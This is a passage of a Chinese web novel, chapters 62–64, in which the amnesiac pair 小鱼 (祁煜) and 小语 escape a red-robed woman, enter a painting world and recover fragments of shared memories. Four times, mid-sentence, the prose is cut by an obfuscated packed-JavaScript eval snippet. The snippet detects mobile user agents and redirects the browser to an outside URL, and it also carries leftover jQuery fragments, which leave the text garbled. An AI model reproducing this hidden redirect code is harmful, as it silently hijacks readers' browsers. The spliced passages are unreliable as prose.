过了一会儿，一群人抬着一具尸体从门前经过，本来都要过去了，好死不死领头的两人因为意见不合发生了争执，一群人就那么停在门口吵架。 尸体的血把盖在上面的白布染得通红，看得出来白布下的尸体不说稀碎，那也是相当惨不忍睹。 小语不知道什么时候没了动静，安静地依偎在他怀里一动不动，霜在她的体表结了一层，看着好像已经被冻晕过去的样子。 小鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667083|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里暗暗着急，但他除了把她抱得更紧之外想不出其他的办法。 那群死人到底什么时候滚蛋啊！！ 火……如果有火就好了…… 外面吵了好一会儿，终于达成共识，终于走了。 期间小语都没有动弹一下，她肌肤冰冷，肌肉僵硬，门外喧嚣渐息，众人皆聚到外面，好像是要举办葬礼。 教堂内空无一人，只剩下小鱼和小语，和正在拥抱着他们的，如同用蛛网裹住猎物的红衣女人。 女人唇间溢出一丝笑意，手指甲开始伸长—— 小鱼一手揽着小语，另一只手拔出了刀。他的目光冰冷，与女人的视线交汇，但谁都没用先动手。 这是一场无声的对峙，双方的距离近到可以一击将对方击杀。 之前两人的约定，此刻好像已经完全被他们抛在了脑后。气氛如同一根越拉越长，即将绷断的蛛丝，只等绷断的瞬间—— 小语毫无预兆地睁开眼睛，0帧起手，手中的撬棍在空中划出一个圆弧，以极快的速度砸向女人的头部，尖端直接穿透了女人的脑侧头骨。 鲜血飞溅。 这是一瞬间发生的，当小鱼意识到小语的动作时，她已经完成了这场袭击。 他瞪大了眼睛，原来小语并不是被冻晕过去，而是在通过这种方式降低红衣女人对她的警惕。 为此她忍受着极度的寒冷，在超过一个小时的时间里一动不动，为的就是最后出手的这一刻。以最小的损伤造成最大的伤害，这种人才不当刺客可惜了！ 一瞬间，惊喜与赞赏之色涌入男孩的眼眸。他第一次正视这个既不漂亮也不强大的女孩子。 他从她身上感觉到了与力量无关的另一种强大。 明明天黑得都看不清脸了，他却觉得女孩的身上迸射出了耀眼的光芒，他的眼睛简直无法从她身上移开。 女人惊愕地向后倒，红纱从他们的皮肤上快速擦过。 小语咬紧牙关，用力扑向小鱼，男孩一下就被她护在了身体下面，红纱在她的皮肤上滑过，毫发无伤。 当红纱终于彻底从他们身上脱离时，小鱼仅有轻微擦伤。 他忽然明白过来，她之前摸他的脸是为什么了。 ……是不想看到他受伤吗？ 扑完这一下，小语便好似失去了所有力气，趴在他胸口不动了。她没有晕，但是她的唇瓣间居然吐出了寒气，身体抖得厉害。 小鱼将她扶起来，拉着她的手，拔足狂奔。 他们身后一片寂静，但他不敢放松警惕。 ——那女人是怪物，不可能就这么容易被弄死。 小语关节被冻得僵硬，已经无法很好地控制肢体，刚刚那一击是她暗中蓄力，抓准时机，在脑内模拟了很多次袭击角度和用力的结果。 况且她之前还扭了脚，每走一步都觉得有刀在割自己的脚踝，她跟不上小鱼的步子，几乎是被他拽着跑。 忽然，她被地毯拌了一下，一下就摔到了地上。小鱼回头看她，只见她趴在地板上一动不动，身体上的霜好像结得更厚了。 小鱼毫不犹豫地将她背起来，她的身体已经被寒气侵入了，他感觉自己和背着一块冰没有区别。 他背着她，穿过曲折的走廊，走到一个很熟悉的地方。两侧墙壁上，一幅幅画作静静悬挂。 “嘻嘻嘻嘻……” 黑暗深处，那女人的声音又响起来了。 “我好难过～我明明帮你们躲过了一劫，为什么要反过来将我杀害？我好恨～嘻嘻……哈哈哈哈哈哈哈哈！” 她看起来一点都根本不恨，反而很开心的样子，癫狂的笑声从四面八方传来，浓雾从长廊尽头的两侧涌出。 小鱼意识到两面的路都已经被堵住了，便将小语放下，自己抽刀应战。 他们身后，是一幅月照山涧的画。他无意识地看了一眼，便移开视线，盯着两侧的浓雾，防止里面突然飞出个什么东西来偷袭他们。 然而，他又一次算错了。 下一刻，他腰上一紧，眼前的景象飞速旋转。随后他脚下一空，他和小语同时落入了湍急的水流中。 62.062 湍急的浪一下就把他拍到了水底，他的身体无法控制地被水流推着往下游漂。 又是几个浪打来，他艰难地从急流中冒头，急切地寻找小语。 小语运气很好，她在被冲走的过程中被一棵歪脖树的树枝挂住，她现在正抱着树，对小鱼喊：“我在这里！” 小鱼见她还算安全，略松口气，往她这边过来。 一只真正的鱼，就要学会驯服急流。 他怀疑自己可能不是普通人类，不然他很难解释自己为啥能在这种急流里还能带个人游泳。 小语身体没有刚刚那么冷了，可能对于身体冷成冰块的她来说，这河里的水其实是温水。 不发火的小语很温顺，她纤细的手会挥舞撬棍砸烂别人的头，也会温顺地环着他的脖子，趴在他背上一动不动，不会给他增加一点多余的负担。 他很顺利地带着她游到岸上，但是一到岸上，小语的身体又开始变冷，她颤抖着吐出寒气，湿漉漉的衣服竟然直接开始在身上结成冰。 小语站起来，说道：“我还是回河里泡着吧。” 小鱼着急道：“不行，你当泡澡呢？这水这么急，你想找死啊！” 火……如果有火暖着，应该就好了！ 小语的脸被冻得煞白，那股寒气好像针一样，在她的身体里乱窜。她无法很好地控制自己的肢体，脚上的扭伤更是让她本就严峻的行动能力雪上加霜，最终她只能踉跄着走了两步，无奈地坐下歇息。 小鱼把她背起来，说：“你老实一点，那边有树林，我捡点柴生火，你应该就好点了。” 小语也没有精力再逞强了，便无力地点了点头，表示知道了。 将小语背上，小鱼才有心思仔细观察周围的环境。 这一看之下，他震惊地发现，眼前的景致竟然与他之前在走廊里见到的画一模一样！ 月照山涧……他们是被那女人拽入画中世界了？ 原来不止她自己可以进入画中世界，也可以把别人拽入画中世界吗？ 不过她人呢？ 小鱼警惕地观察了一圈，没有发现女人的踪影。不知道是没来，还是藏起来了。她那个红纱会匿形，很麻烦。 * 火，点亮了黑夜。 小语已经冻僵了，身上挂满了冰冻。小鱼让她靠着自己烤火，一只手揽着她，不让她倒向另一边。 一种莫名的既视感涌上心头……他好像也曾背过某人，也曾让某人依偎在他的肩头休息。 她一直看着他，用那种平静到像AI的眼神。 不带任何情愫，却直白露骨。就好像一双手，一寸寸描摹他的脸颊，明明没有温度，却温柔缱绻。 小鱼觉得不能再让她这么看下去了，便出声道：“……你一直看我做什么？” 小语回答：“你对我很好。” 这是一句陈述句。 “……”一股火辣辣的热意从他的耳根一直染到脸颊。 他呆愣地望着她，一时语塞，平时的伶牙俐齿此刻仿佛被封印了。 “谁对你……”他下意识地想反驳，但仔细一想，好像没毛病，她只是普通的陈述了出来而已…… 但这种羞耻感是怎么回事？ 很想跳起来反驳她，很想把她晾到一边不理她，很想说她是自作多情……羞耻感就像火一样烧在他脸上。 小鱼脸色通红，忍着羞耻道：“你这个回答和我的问题有什么关系！” 小语：“有，我很疑惑，我好像没有做过什么值得你对我这么好的事。” 看着他脸上的伤，她忽然想起来一件事，便从口袋里摸出一个药瓶。 火烤的效果显著，她身上的寒冻消退了不少，血管中游走的寒气也稍微弱了些，身体的控制能力回来了。 药瓶里的药已经被冻成了冰块，小语把盖子旋开，放在火堆旁边烤。 小鱼：“这是……？” 小语：“之前就想给你的药，但是那会儿你走得太急，没来得及给你，我就带出来了。” 小鱼：“……” 刚觉得好点，寒冻又爬上了她的身体。但是比起之前要好点，冰只覆盖了浅浅的一层。 小鱼给她把冰层敲开，手动去寒。 小语感觉这画面怪怪的，但哪里怪又说不上来。 小鱼垂着眼帘给她手动去冰，又问：“你还没回答我，你为什么出来找我……这里的夜晚很危险，你不知道吗？” 小语：“怕你傻不愣登真的游过去，那条河不是这么渡的。你注意教会大门口的那座桥了吗，只要那座桥不放下去，两边就没有任何办法渡河。” 小鱼疑惑道：“为什么？那河里有食人鱼还是有鳄鱼？就算是这样，坐船也是可以的吧？” 小语摇摇头：“那条河被我们称为‘魔鬼居住的河流’，河里什么都没有，因为没有任何生物能在里面存活，也没有任何东西可以在上面漂浮，就连一片鸿毛都不可以。” 小鱼吃惊道：“这么邪门？那我们不就得强行放下教会的那座桥？” 小语：“敌众我寡，行不通。而且我们的身板太小，也不能假扮修道士来过桥。” 小鱼进行假设：“我们都是通过镜子从房间传送到教堂的，或许也通过镜子传送到外面？” 小语：“这个规则只在教会内部有效，也就是这条河包围的范围内……你看我干什么？” 小鱼收回目光：“你很熟悉规则，十分了解规则背后的逻辑。遵守规则的同时，又可以理所当然地打破规则。我看你一副乖乖女的样子，实际上性格很反叛吧？” 他眯起眼睛谴责道：“你就是嘴上说不想出去，实际上心里已经想过无数次逃出去的路线了。” 小语没有反驳。 小鱼挑眉：“……只能允许自己困住自己，不能允许别人真的能困住你……你还挺强势。” 小语提醒他：“我不是这种性格，也不会来帮你。” 小鱼：“确实，你其实没必要帮我。但你又是送药，又是帮我策划逃跑路线……你干嘛对我这么好？” 本来是想故意用她的话来反击她，没想到小语一点反应都没有，脸根本不带红，这让他很意外……总觉得，她是很容易害羞的类型。 她看了他一眼，平淡地说道：“老师告诉我，你是因为找我被关进来的……”她叹气，“这里不是好地方，你得出去。” 小鱼：“原来你也知道这不是好地方？我们一起出去。” 小语：“不。” 小鱼脸垮下来：“你是讨厌我，还是信不过我？虽然你我才认识两天，但我害你被关禁闭、被水淹、崴脚、被冰冻……好吧你讨厌我也挺正常的……” 这么一想，忽然感觉很苦闷，他郁闷地说：“我对你也没多好，我被关进来是我自己蠢，和你没关系，你别管我了。” 小语：“是挺讨厌的，下次不帮了。” 小鱼：“？” 先帝试图绿茶未果而中道崩殂！ 小鱼：“你怎么不按套路出牌啊！这时候不应该安慰我，说我也不是故意的，咱俩都是受害者，然后愉快地原谅我吗！” 钢筋直女小语飞过去一个鄙视的眼神，“最烦你这种人，都已经接受帮助了还不说人话非要茶里茶气地说‘哎呀和你没关系别管我~’，欠怼。” 小鱼：“……” 啊他好气，他气死了！！！ 最气的是他还不知道怎么反驳她。 他气呼呼地鼓起包子脸，头偏到一边去不想理她。 小语：“……我没有讨厌你，虽然你确实挺莫名其妙的。” 小鱼：…… 更生气了！！ 药膏似乎已经融化，她嗅到了药物散发的清香。她从火堆旁取回小罐子，用手指挑起一块乳白色的药膏。 小语：“……莫名其妙突然出现问我自己是谁，莫名其妙一直执着于带我走，莫名其妙地靠近我、闯入我的人生……” 她的声音一如既往地平静，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680836|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小鱼莫名觉得她的平静之下藏着汹涌的暗流。 “我不理解你对我的这种莫名其妙的拯救欲从何而来……说得再明白一点吧，我是个罪人，监狱才是最适合我的地方，我不需要拯救。” 真的是平静吗？ ……还是已经痛苦到了极致，只剩下了毫无波澜的麻木？ 他不自觉地转头看她，想看看她此刻的神情，正巧，小语蘸着药膏的手指戳到他脸上。 小鱼瞳孔紧缩，脸上温度直线飙升。 女孩柔嫩冰凉的手扶过他的脸庞，将药涂抹在他的伤口上……一点都不疼，反而痒痒的。 好熟悉……这种感觉好熟悉！ 像一片羽毛轻盈掠过、一滴露珠悄然滴落……又似风的触摸，蝴蝶的吻触……这种熟悉的感觉一而再、再而三地出现，肯定不是巧合，他们过去一定认识！ 大脑记忆消失了，但肢体的记忆还在，它铭刻在他的肌肤触感上，潜藏于她每一个下意识的动作中。 红羽胸针散发出柔和的光芒，他注意到那道光芒，一段记忆如浮光掠影般从脑海中闪过…… * ——‘小鱼～小鱼～你喜欢我吗？’ 她在触摸我的脸，指尖的温度传递过来，我努力地想要看清她的脸，却怎么都看不清楚。 我们之间好似隔着一层厚厚的、无论怎么都打不破的壁垒，就连那指尖的温度，都因这层厚厚壁垒而失真。 唯有那低沉温柔如大提琴般的音色，遥远而真切。 悲伤……淹没了我。 ——‘我把答案藏进了海螺里，你要不听听，它怎么说的？’* ……她听不见的。 因为，没有海螺，我的世界只有一片虚无，一片……没有过去也没有未来的虚无。 ——‘你骗我，根本没有海螺。你……你们，很讨厌，说着甜言蜜语、山盟海誓，却永远无法兑现！’ ……不是的……我想兑现承诺！……可是，到底应该怎么做，才能来到你身边？ ——‘好痛苦……小鱼，你也很痛苦吧？报复他们，并不能改变什么……但是凭什么我们的人生尽毁，他们却可以置身事外不付出任何代价？如果不去报复，怨恨就会把我变成魔鬼……我很快就会去见你了……很快……’ 不要做傻事！就算永远见不到也没什么，真的没什么……只要你安好。 ——‘祁煜，我只想问一遍……你愿意和我在一起吗？如果愿意，就过来……回应我，抓住我的手。’ 呼唤……你在呼唤我。 这还用问吗？ ——愿意。 【祁煜】无论什么时候都愿意回应【？？？】。 那么——以我此身，回应你的呼唤。就算是时空壁垒，也可以被爱打破。 …… 一片虚无的世界，活过来了。 大海送来一个蓝衣女人。 她冲我微笑，那一直模糊的脸终于变得清晰。我曾无数次在幻想中勾勒她的面容，但没有一次幻想可以比得上她真实的笑颜。 我知道，你已来到我身边。 真狡猾啊，居然是你先找到我……你的爱竟然超过了我，好不甘心……那边的事都丢下没关系吗？你……还在痛苦吗？ * 浮光掠影般的记忆只是惊鸿一现，当小鱼意识到这是他的记忆时，它便如同浮游的泡沫一般，一触即破。 或许，那本就不该是他该记得的事。 它必须潜藏在他记忆最深、最深、最深的地方，直至地球于循环中消逝于宇宙的苍茫，世界寂灭坍缩为某个存在离别时的一滴眼泪。 但是，在那如朝雾般飞速消逝的记忆中，他仍是抓住了某个稍纵即逝的片段。 小语给他抹好伤药，正要把手收回去。 谁知男孩忽然抓住她的手，对方炽热的眼眸如同深海中的烈焰，他说：“我们果然认识！你呼唤过我的名字，我想起来了！我叫祁煜，我们重新认识一下吧。” 63.063 “奇遇？” 小语重复了一遍，茫然地睁大了眼睛。 一阵风吹过来，掀开她额前的发丝，像极了散失的记忆化为风一般归来，她感觉有什么东西在脑海中一晃而过。 仿若条件反射一般，她说：“像是随便取的名字。” 她以前也说过这话吗？……好像不是她的性格会说的？ 小鱼：“什么叫随便取的，不要乱讲，这么多年一直都是这个名字！难道你的名字就很……好吧，你名字确实挺诗意的。” 他捡起一根枝条，在地上写自己的名字，“看，祁——煜——是这么写的，不是奇遇。” 他满意地一撩头发：“不愧是我的名字，好看又好听，简直和我本人一样！” 小语托着下巴，感觉这一幕既视感很强，她说：“总觉得这个名字……是那种为人小气的类型。” “？”小鱼：“太抽象了，听不懂，我才不小气。” 她定定地看向他，努力回忆，一段记忆从浑噩的记忆迷雾中显现—— 她和昭昭在海边散步，她心血来潮在海滩上写下了自己和‘祁煜’的名字，昭昭见状觉得有趣也写下了自己的推和墙头。 一个浪打过来，所有人的名字都被冲走了，唯独留下‘祁煜’这一个，昭昭不服气写了三次，结果都被大海无情冲走，气得跳脚大骂‘祁煜’小气。 ……自己当时怎么说来着？好像是……“连我的名字都敢冲走，祁煜你死定了。” ？？？ 好怪，怎么会有这么奇怪的记忆？不确定，再想想。 小鱼：“……” 本来脸上降下去的温度又开始稳步上升，他感觉自己已经是一条被来回高温炙烤的死鱼了。 她的眼神太怪了，明明没有像上药时那样触碰他，但他就是觉得……她的存在更无法忽视了。 她的目光就好像一张细密的网，存在感强不说，偏偏还不知道避开，不知道收敛，仿佛要将他的视线与感官乃至他全部的心神尽数俘获，甚至是把他周围的空气全都占据，才肯罢休。 小鱼有点想躲，他甚至有些羞恼，想要躲开，但小语的身体还没恢复，他一躲她必定会倒下，他不太忍心…… 他气恼地捂住她的眼睛，好让她不要再用眼神生煎鱼皮了，他说道：“你又盯着我看什么，你的眼神很不礼貌！” “抱歉。”小语去拉他的手腕，想把他的手拉下来，但小鱼不想再被她盯着，故而不肯放手。 小语只好解释：“不是故意要盯着你，而是看到这个名字，我忽然想起来了一点事，我们应该真的认识。” 小鱼愣了下，随后欣喜地移开遮住她眼睛的手，激动地问：“你想起什么了？” 小语：“我在海滩上写了你和我的名字。” 小鱼：“嗯……然后呢？” 小语：“没有然后。” 小鱼：“就这？” 小语：“就这。” 他又郁闷了，“这不等于没说嘛！” 刚有气馁的想法，忽然他脑袋灵光一闪，又想到了一个全新的角度：“你为什么要在海滩上写我们的名字？我们是什么关系？” 这句话问出来时，他的心竟然是带着些雀跃和期待的，这出乎他的意料。 ……或许、可能、大概……他其实挺喜欢小语的？ 不得不承认，虽然她的确有那么一点点讨厌，可是她人又好，又关心他，还会打怪保护他……那一点点讨厌好像也是不那么重要？ 他眼睛亮闪闪的，那目光中炽热的温度一下就烫到了小语。 她是今晚第一次意识到，一直盯着人家看确实不太礼貌，因为目光是有温度的，甚至是……令人感到刺痛的。 像是蜜蜂的尾针刺在了柔软的心脏上，最初那微冷而快速地一刺后，绵密而持久的疼痛开始蔓延、扩散。 她茫然地感受这股疼痛，不明白为什么会痛，也不明白应该怎么消除这股疼痛，她只能感受到……这份刺痛是小鱼带来的。 她不知所措地避开小鱼的视线，假装自己在看身上的冰化得怎么样。 人在慌乱的时候会假装自己很忙，她低头抠身上的残冰，小鱼就帮她一起抠。 两人的手好几次碰到一起，小语硬着头皮假装无所谓，小鱼不知道为什么眼睛从刚刚开始就一直亮闪闪的，她这种阴暗批有畏光症，不敢直视他。 两、极、反、转！ 此刻的情景，完美诠释了什么叫出来混迟早都是要还的。都不用隔夜，有仇当场就报了。 小鱼看她一脸冷漠地专注抠冰，不看他也不理他，忍不住抱怨道：“你怎么不回答我的问题？” 小语：“不记得怎么回答？” 小鱼想了想：“也是。不过答案已经不重要了……我忽然觉得，失忆了也没什么不好。” 小语没想到他会这么说，忍不住抬头看他。 小鱼注意到她终于理他了，冲她露出一个笑容：“我忘记了一切，你忘记了我，我们从前又刚好认识……可能我们遇到了‘祁煜’这个存在没法解决的事，所以‘小鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694859|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’才会出现。” 小语：“刚刚就想问了，我要改口叫你祁煜吗？” 小鱼：“不用，我喜欢你叫我‘小鱼’……因为，这是你给我的名字，我只记得你。” 小语沉默了一下。 心脏处的刺痛逐渐消散，取而代之的是一股沉闷的情感，令人窒息。她同样无法解析这种情感到底是什么，只能感觉自己的眼眶好像被火烤得发烫。 记忆已经消失了，但是有些下意识的反应仍然时刻提醒着她——他们从前关系匪浅。 但那份“匪浅”的交情……到底是什么呢？她只知道，自己没法不管他。 她认真地说：“我会帮你找回记忆，我保证。” 小鱼却笑着说：“忘记一切，以另一个身份重新认知世界，重新认识你……我想这就是我成为‘小鱼’的原因。至于能不能想起‘祁煜’的一切……已经不是那么重要了。” 他眉宇间有阴霾一闪而过，随即被他迅速掩饰。 小语却注意到了，她说：“但是，我并不是你曾经世界的一切，你有自己的家人、朋友、过去、理想，你有你要做的事。” 小鱼的目光黯淡下来，低声说：“可能吧……” 但他已经不是那么想要回忆起来了，因为如果身为“祁煜”的自己真的有什么一定要做的事，那就一定是…… 梦里那些令人作呕的画面，再度浮现在脑海中。 他隐隐能感觉到，那很有可能不是梦，而是真正发生过的事。他似乎对暗杀术极为娴熟，即便没有记忆，他的身体也会本能地做出刺客应有的反应，仿佛这种反应已深深烙印在他的骨髓之中。 他是那种会因为憎恨一个人，就把对方残忍地杀害的人…… 那种刻骨的仿佛要摧毁一切，包括自身在内的憎恨……在疯狂中日渐沉沦，却又无时无刻不想挣扎出那黑暗的漩涡的痛苦，或许……不，不是或许，他很确定，只有小语能够理解。 因为，他们是完完全全的同类。 小鱼：“对不起。” “？”小语：“你为什么道歉？” 小鱼：“之前在禁闭室对你说的话……我可能真的是站着说话不腰疼。” 比如现在，只是怀疑过去的自己是杀人狂，就已经让他不太想面对了。那么记得一切，宁愿把自己关在牢狱中也不愿意出去、对整个外界都抱有极大恶意的小语，一定是受了极大的屈辱和委屈。 他的嘴角勉强扯出一抹笑：“或许，我也是那种应该待在监狱的人……正好和你做伴了。” 64.064 接下来他们又休息了会儿，直到小语身上的寒气尽数褪去，即使离开火源也不会再复发，小鱼才背着她继续前进—— 没错，他依然坚持背着她。 即使小语觉得他只用扶着她就可以了，他还是坚持背她，说这样走得快，他们得尽快离开。 小语很不喜欢别人的触碰，而且她现在感觉……自己尤其不喜欢小鱼的触碰。他的目光、他的皮肤，甚至是他的笑容，都会带给她仿佛灼伤一样的刺痛。 她也不知道自己为什么会感觉到疼,但就是……很疼。 不过她也认同他们应该尽快离开这里，红衣女不知道为什么没有出现，可能是受伤了还没有恢复过来，也可能是故意戏耍他们等他们放松警惕再出来偷袭。 所以她还是让他背着了。 那种很安心的感觉又出现了……这份重量让小鱼觉得自己是落在大地上的，而不是像一颗随风飘散，不知从哪里来，也不知道会到哪里去的蒲公英种子。 她就像一张网，紧紧地将他缚于其中。 虽然他不记得自己从哪里来，但他或许已经知道了……自己该归于何处。 小鱼的嘴角比AK还难压，小语皱着眉看他，实在不知道这货出工又出力，有什么好乐的。他们貌似还处在危险中，也没有安全啊？ ……这一幕不知道为什么很有既视感。可能从前发生过类似的事。 其实这两天小语也隐约察觉到了，自己的记忆不完整，不止是小鱼的存在被她忘记了，还有其他的事—— 比如她不记得自己为什么会在这个监狱里，但记忆里她已经和昭昭来很久了； 比如她其实并没有读过监狱生存手册的印象，但她却对这里规则乃至规则之外的事十分熟悉； 再比如她的老师是在正经大学教核物理的，他究竟为什么会到监狱里当老师…… 当然，这些问题都不是最关键的，最关键的是，一向喜欢刨根问底的她……并不想知道答案。 很奇怪。 画中世界的空间不大，他们很快就走到了边缘，他们明明已经可以看到外界走廊了，但就是无法打破那层看不到的屏障。 这种感觉小鱼很熟悉，虽然他已经不记得了，但他还是无法控制地感到一阵憋闷和慌乱，他飞速了确认了一遍小语的存在，确认她就在自己身边，他的心才稍定。 此路不通，只能另寻他路。 正当两人一筹莫展之际，系在小鱼手腕上的蓝蝴蝶结忽然发光，它在两人的眼皮子底下化为了蝴蝶，翩然地飞到空中。 一回生二回熟，小鱼这次毫不犹豫地跟着它走。发现小语一直盯着那个蝴蝶，他就解释了一下它的来历。 “从梦中飞出来的蝴蝶？”小语迟疑了一瞬，问：“为什么不是蝴蝶飞到你梦里去？” 小鱼：“有道理。不过无论是哪种都很浪漫，我都喜欢。” 之后两人跟着蝴蝶来到了一个小湖泊，四周明明没有柳树，但水面却倒映着一株很大的垂柳，水波在月色下泛起碎银般的光泽。 两人立刻明白，这个湖泊也可以当作镜子来传送他们。 他们随着蝴蝶踏入湖中，从湖中一下子又踩到了陌生的洗手台上。 他先是警惕了观察了一下四周，发现他们好像回到了牢房中，但不是他的牢房。他确认了这房间没人，才从洗手台上跳下来，然后把小语从上面抱下来。 小语对自己的房间也是处于一种脑子告诉她很熟悉但实际上不熟悉的状态，确认了好几眼，才确认这是自己的房间，她对小鱼说：“我们回来了，这是我的房间。” 她再回头看镜子，镜子上已经没有了垂柳的倒影，镜中的传送通道已经关闭了。 她无奈地说道：“看来你只能在我这里休息了。这门锁无法强行打开，你只能等到明早……不对，应该是今天早上再离开。” 小鱼不知道为什么直接就不吭声了，小语也没有管他，镜中传送关闭，红衣女暂时没法再找过来，他们安全了。 危机解除，小语立刻感觉到一股仿佛身体被掏空的困倦。 她打了个呵欠，离开卫生间，走向自己心爱的床铺，对小鱼说：“我先睡了，你随意。” 她盖好被子，往墙边挪了挪，空出一个位置，闭上眼睛：“……看书也行，坐着发呆干等天亮也行，睡觉也行……” 然后她就睡着了。 传奇秒睡大王的实力恐怖如斯。 一直保持着诡异的安静仿佛嘴巴被妖怪缝上了导致强行静音的小鱼：…… 他的脸爆红！ 她……她到底在说什么啊！！ 不得不强行留在她房间已经够抓马了，这个人居然还说什么‘睡觉也行’，还特地给他腾了个位置…… ——这人……这人到底是什么脑回路啊！她还清醒吗！ ……好吧，从她秒睡的速度来看，确实不太清醒。 在原地兀自脸红了很久，小鱼才从僵硬状态恢复成正常状态。他走到小语身边，把她睡着睡着就伸到外面的手塞回去，又把她扭到的jio拽出来再上一遍跌打损伤药，最后给她把被角掖实了，才走到窗台边坐下。 小语的喜好还和他挺像，都喜欢把椅子搬到窗边。 窗外被浓雾笼罩，一片漆黑，仿佛整个世界都被吞噬了。似乎有某种不明生物的嘶吼声穿透黑夜，但转眼间又归于沉寂。 慢慢地，他也睡着了…… * 祁煜正在追逐一个男人。 体型肥胖的男人惊慌失措地在前方奔逃，泪流满面，鼻涕横流，他绝望地吼叫：“你究竟是谁？谁派你来的！那个人给了你多少，我出双倍——不，我出十倍！” 他慌不择路跑到地下保险库，迅速打开沉重的铁门，一头钻了进去。正欲关门之际，一只戴着黑色皮质手套的手猛然从门缝中探入，紧紧掰住了门扉，阻止了那扇铁门的闭合。 这一扇门就有几百公斤，他是真不怕手被夹断了！ 男人绝望地嘶吼：“你这个该死的疯子！不要钱又不要命，你到底想要什么！！” 祁煜那双冷漠如冰的眼睛透过狭窄的门缝，静静地审视着他，一言不发，面无表情，宛如一台失去了所有情感的杀戮机器。 男人拼命地想要关上门，但门对面力气大得像是个怪物，最终门还是被掰开了。 男人屁滚尿流地跌倒在地，跌倒在他如山的财宝上。 他颤抖着，肥胖的脸上挤出一抹丑态百出的谄媚的笑，从自己的财宝里抓出一捧黄金与珠串，献媚一般地奉上，试图用金钱做最后的挣扎：“你要你肯放过我，这些……这些我都给你……求你，放过我……” 祁煜面无表情。 他靠近，抓住男人的头发，提起他的头颅露出脖颈，割喉。 鲜红的血液喷洒在那些璀璨的黄金与珍宝上，祁煜仿佛看不到，只是冷漠地注视着他。 男人的喉管里溢出毛骨悚然的气声，他捂着脖子，想要阻止鲜血涌出，然而这只是徒劳。 那肥胖的身体轰然倒下，他瞪着天花板的眼睛逐渐失去焦点，直至彻底死亡。 确认目标死亡，祁煜转身离开。 满身鲜血的潜行者捧着一束纯白的鲜花，踏过满地的尸体走到一个房间，在那里满是被药水浸泡的残肢标本。 一颗头颅被置放在架子上，这是属于一位利莫里亚女性的头颅。她的容颜绝美，耳鳍如同透明的紫色水晶一般剔透夺目。 然而她脸上的表情永远凝固在了死亡时的那瞬间，痛苦、惊恐交织，她那沁血的眼睛无时无刻不在诉说着她那蚀骨的憎恨。 祁煜将花束放在旁边，说道：“你的仇，我报了。” 听到这句话，那位女性利莫里亚人脸上的表情逐渐平静，她安静地闭上了眼睛。 她那充满怨恨的灵魂，终于在此刻得到了救赎。 海神会庇护他忠诚的子民……无论是生前，还是死后…… * 祁煜被惊醒。 一睁眼他便看到了一株巨大、足以遮蔽整个天空的柳树。 他擦了擦额角的冷汗，从草地上坐起身。 一只艳丽的蓝蝴蝶从他面前飞过，他抬头望去，只见无数蓝蝴蝶仿佛一群群翩翩起舞的舞者，在空中轻盈地舞动。 四周是一片湖泊，他所在的地方是一座湖心小岛，一座钢铁白塔立于湖中，像是一位冰冷的守望者。 他爬上柳树，在树上找到了不知睡了多久的傅秋语。 柳树用自己的枝条织出了一张结实的床，将她的身体牢牢地拖住，蝴蝶环绕在她身侧，装点她的梦境。 她神情安详，嘴角带笑……她已经陷入了那个永远不愿意醒来的美梦中。 祁煜轻柔地抚摸她的脸颊，温暖的，柔软的，乖巧的，永远不会躲开他的触碰，但是……这不是他想看到的。 傅秋语是带刺的，冷漠的，表面乖巧柔顺实则桀骜清高的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711043|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……她的人生还很长，不应该在这里结束。 祁煜俯身轻吻她的额头，像是一个温柔的安抚，随后从树上跃下，步入湖泊。 他来到了岛屿的边缘，湖水从边缘向下奔涌，落入无底的深渊。 他知道，傅秋语的意识就在那里。他从岛屿边缘一跃而下，一只蝴蝶跟着他一同飞了下去。 深渊最初是黑色的，但随着进入深层，四周变为了绚丽的彩色，随后一切光彩又再度消失——他落入了一片虚空。 在那无边无际的虚空中，他看到了一个女孩子。 她向他伸手：“小鱼~过来。” * 祁煜再度被惊醒。 